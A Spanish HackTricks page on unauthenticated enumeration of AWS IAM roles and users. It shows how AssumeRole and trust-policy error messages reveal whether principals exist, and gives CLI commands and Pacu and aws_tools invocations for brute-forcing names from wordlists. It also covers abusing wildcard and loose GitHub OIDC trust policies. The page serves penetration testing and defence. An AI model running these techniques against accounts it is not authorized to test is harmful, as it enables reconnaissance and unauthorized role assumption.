AWS - IAM & STS Unauthenticated Enum

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Enumerar Roles y Nombres de Usuario en una cuenta

Fuerza bruta de Asunción de Rol

Esta técnica ya no funciona ya que, independientemente de si el rol existe o no, siempre se obtiene este error:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

Puedes probar esto ejecutando:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

Intentar asumir un rol sin los permisos necesarios desencadena un mensaje de error de AWS. Por ejemplo, si no está autorizado, AWS podría devolver:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

Este mensaje confirma la existencia del rol pero indica que su política de asunción de rol no permite tu asunción. En contraste, intentar asumir un rol inexistente conduce a un error diferente:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

Interesantemente, este método de distinguir entre roles existentes y no existentes es aplicable incluso en diferentes cuentas de AWS. Con un ID de cuenta de AWS válido y una lista de palabras clave específica, se pueden enumerar los roles presentes en la cuenta sin enfrentar limitaciones inherentes.

Puedes usar este script para enumerar posibles principios abusando de este problema.

Políticas de Confianza: Fuerza bruta en roles y usuarios de cuentas cruzadas

Configurar o actualizar la política de confianza de un rol de IAM implica definir qué recursos o servicios de AWS tienen permitido asumir ese rol y obtener credenciales temporales. Si el recurso especificado en la política existe, la política de confianza se guarda exitosamente. Sin embargo, si el recurso no existe, se genera un error, indicando que se proporcionó un principal inválido.

Ten en cuenta que en ese recurso puedes especificar un rol o usuario de cuenta cruzada:

  • arn:aws:iam::acc_id:role/role_name

  • arn:aws:iam::acc_id:user/user_name

Este es un ejemplo de política:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":
{
"AWS":"arn:aws:iam::216825089941:role\/Test"
},
"Action":"sts:AssumeRole"
}
]
}

GUI

Ese es el error que encontrarás si usas un rol que no existe. Si el rol existe, la política se guardará sin errores. (El error es para actualizar, pero también funciona al crear)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

Puedes automatizar este proceso con https://github.com/carlospolop/aws_tools

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

Usando Pacu:

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • El rol admin utilizado en el ejemplo es un rol en tu cuenta para ser suplantado por Pacu para crear las políticas que necesita crear para la enumeración

Escalada de privilegios

En caso de que el rol esté mal configurado y permita a cualquiera asumirlo:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

El atacante podría simplemente asumirlo.

Federación de OIDC de Terceros

Imagina que logras leer un flujo de trabajo de Github Actions que está accediendo a un rol dentro de AWS. Esta confianza podría dar acceso a un rol con la siguiente política de confianza:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

Esta política de confianza puede ser correcta, pero la falta de más condiciones debería hacer que desconfíes de ella. Esto se debe a que el rol anterior puede ser asumido por CUALQUIER PERSONA de Github Actions. Deberías especificar en las condiciones también otras cosas como el nombre de la organización, nombre del repositorio, entorno, rama...

Otra posible mala configuración es agregar una condición como la siguiente:

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

Ten en cuenta el comodín (*) antes de los dos puntos (:). Puedes crear una organización como org_name1 y asumir el rol desde una Acción de Github.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización